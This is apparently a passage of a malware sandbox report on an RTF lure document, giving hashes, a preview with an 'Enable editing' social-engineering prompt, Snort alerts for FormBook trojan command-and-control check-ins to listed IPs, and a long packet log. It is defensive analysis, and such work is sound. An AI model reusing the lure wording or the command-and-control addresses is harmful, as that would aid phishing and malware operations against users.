SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Rich Text Format data, version 1
Entropy (8bit):	3.9364830841211114
TrID:	Rich Text Format (5005/1) 55.56% Rich Text Format (4004/1) 44.44%
File name:	Doc PI.doc
File size:	145'966 bytes
MD5:	05296d88142eb2e6929ab8f1f5131e18
SHA1:	c242cc72aeb237706ac7a8af3f250d6772091589
SHA256:	7d4ab5a581de7b1243a23c4383bb962d530bfc85c67f48e094b82301d1ff0654
SHA512:	aaed33cdabed15bd7ac197f2159473cd7cb7d704eecc6dcb18ed68ac46ad7bc3a847bea1df14352aaf393c3a69152586bf3fe8a87955123d84260a3dd210d9c9
SSDEEP:	3072:MwAlawAlawAlawAlawAlVcJmiHRodvH0bsm:MwAYwAYwAYwAYwAkJmaoV04m
TLSH:	4BE3166DD34B02598F620337AB571E5142BDBA7EF38452B1306C537933EAC39A1252BE
File Content Preview:	{\rtf1..{\*\ipxcBqu3N61MhbIR09P1lgd5VuujWE48rqZpUBCCjWEJ2qgrt3yS0Jg9nheB33M1yCOcGJPvfT4cbhWEDwqFRdwmb9dE0ruMxCbXwz9E4FionvSYq6AvTO61qZyQmSNCj5L6v279s8IO0K8tjn70VOmtPEpImcQYBAlqcCwjxOy}..{\514479215please click Enable editing from the yellow bar above.The

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static RTF Info

Objects

Id	Start	Format ID	Format	Classname	Datasize	Filename	Sourcepath	Temppath	Exploit
0	0000B98Fh								no

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/20/24-08:54:20.390882	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49165	80	192.168.2.22	66.96.161.166
05/20/24-08:55:35.008862	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49179	80	192.168.2.22	91.195.240.19
05/20/24-08:55:21.654726	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49175	80	192.168.2.22	194.9.94.86
05/20/24-08:55:48.350016	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49183	80	192.168.2.22	198.12.241.35

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 20, 2024 08:53:37.275232077 CEST	49163	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.275262117 CEST	443	49163	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.275331020 CEST	49163	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.287164927 CEST	49163	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.287182093 CEST	443	49163	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.312323093 CEST	443	49163	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.312930107 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.312961102 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.313008070 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.313316107 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.313327074 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.877597094 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.877775908 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.882590055 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.882599115 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.883023977 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:37.883569956 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:37.956686020 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.004127026 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.523248911 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.523309946 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.523322105 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.523365974 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.523392916 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.523433924 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.523494959 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.523593903 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.523600101 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.523644924 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.524863958 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.524919033 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.527237892 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.527286053 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.527641058 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.527682066 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.530646086 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.530700922 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.530705929 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.530746937 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.530751944 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.530796051 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.614658117 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.614814043 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.737690926 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.737763882 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.737828016 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.737875938 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.738363981 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.738420010 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.739222050 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.739269972 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.739283085 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.739322901 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.739994049 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.740039110 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.740147114 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.740192890 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.740878105 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.740930080 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.740979910 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.741029978 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.741708040 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.741769075 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.741837025 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.741880894 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.742115974 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.742163897 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.743413925 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.743459940 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.743526936 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.743577957 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.744283915 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.744357109 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.744369030 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.744409084 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.745096922 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.745145082 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.746804953 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.746850014 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.746856928 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.746896029 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.967300892 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.967363119 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.967413902 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.967458010 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.972146988 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.972208977 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.972237110 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.972284079 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.984381914 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.984472990 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.984493017 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.984545946 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.989765882 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.989829063 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.989875078 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.989947081 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.989988089 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.990032911 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.995208979 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.995270014 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:38.995320082 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:38.995372057 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.005795002 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.005866051 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.016347885 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.016545057 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.020675898 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.020745039 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.029270887 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.029349089 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.033549070 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.033617020 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.037818909 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.037940979 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.045717955 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.045790911 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.049331903 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.049396038 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.056310892 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.056377888 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.063374043 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.063440084 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.063467979 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.063533068 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.183912992 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.184001923 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.184019089 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.184061050 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.189198971 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.189270973 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.192823887 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.192884922 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.195533991 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.195585966 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.201199055 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.201257944 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.201262951 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.201303959 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.204037905 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.204092026 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.208908081 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.208960056 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.211390018 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.211441994 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.213850021 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.213903904 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.218321085 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.218379021 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.218389034 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.218426943 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.222621918 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.222687006 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.224661112 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.224714994 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.226614952 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.226665974 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.228602886 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.228657961 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.230521917 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.230576992 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.234184027 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.234239101 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.235896111 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.235949993 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.239280939 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.239336014 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.240889072 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.240938902 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.244007111 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.244061947 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.246982098 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.247037888 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.248366117 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.248415947 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.251197100 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.251254082 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.290319920 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.290385008 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.290980101 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.291035891 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.291991949 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.292046070 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.292924881 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.292965889 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.292978048 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.292987108 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.293013096 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.293024063 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.399390936 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.399589062 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.400861025 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.400870085 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.400929928 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.401865959 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.401923895 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.402638912 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.402697086 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.403120041 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.403175116 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.403879881 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.403933048 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.404783964 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.404860973 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.406071901 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.406127930 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.406595945 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.406647921 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.407186031 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.407238007 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.410155058 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.410223961 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.661520004 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.661540985 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.661583900 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.661711931 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.661711931 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.661737919 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.661760092 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.661777020 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.688447952 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.688479900 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.688507080 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.688536882 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.688549042 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.688590050 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.688654900 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.714010000 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.714046955 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.714225054 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.714256048 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.714416027 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.714416027 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.729043007 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.729074955 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.729130030 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.729139090 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.729171991 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.729171991 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.729211092 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.746331930 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.746368885 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.746591091 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.746603966 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.746697903 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.747443914 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.755665064 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.755738974 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.755748034 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.755882025 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.757564068 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.757628918 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.757637024 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.757684946 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.763048887 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.763118029 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.764787912 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.764853954 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.764859915 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.764898062 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.774323940 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.774362087 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.774393082 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.774399042 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.774415016 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.774566889 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.774566889 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.775751114 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.775804043 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.783972979 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.784007072 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.784039974 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.784049034 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.784070015 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.784086943 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.784133911 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.791712046 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.791740894 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.791774988 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.791779995 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.791794062 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.791820049 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.791841030 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.798012972 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.798043013 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.798079014 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.798084974 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.798096895 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.798122883 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.798168898 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.806232929 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.806263924 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.806303978 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.806328058 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.806344032 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.806344032 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.806358099 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.811458111 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.811486006 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.811538935 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.811548948 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.811562061 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.811590910 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.812975883 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.813040018 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.815144062 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.815208912 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:39.817249060 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:39.817595959 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:40.064372063 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:40.064389944 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:40.064565897 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:40.067251921 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:40.067282915 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:40.067321062 CEST	49164	443	192.168.2.22	104.21.74.191
May 20, 2024 08:53:40.067334890 CEST	443	49164	104.21.74.191	192.168.2.22
May 20, 2024 08:53:40.067351103 CEST	49164	443	192.168.2.22	104.21.74.191
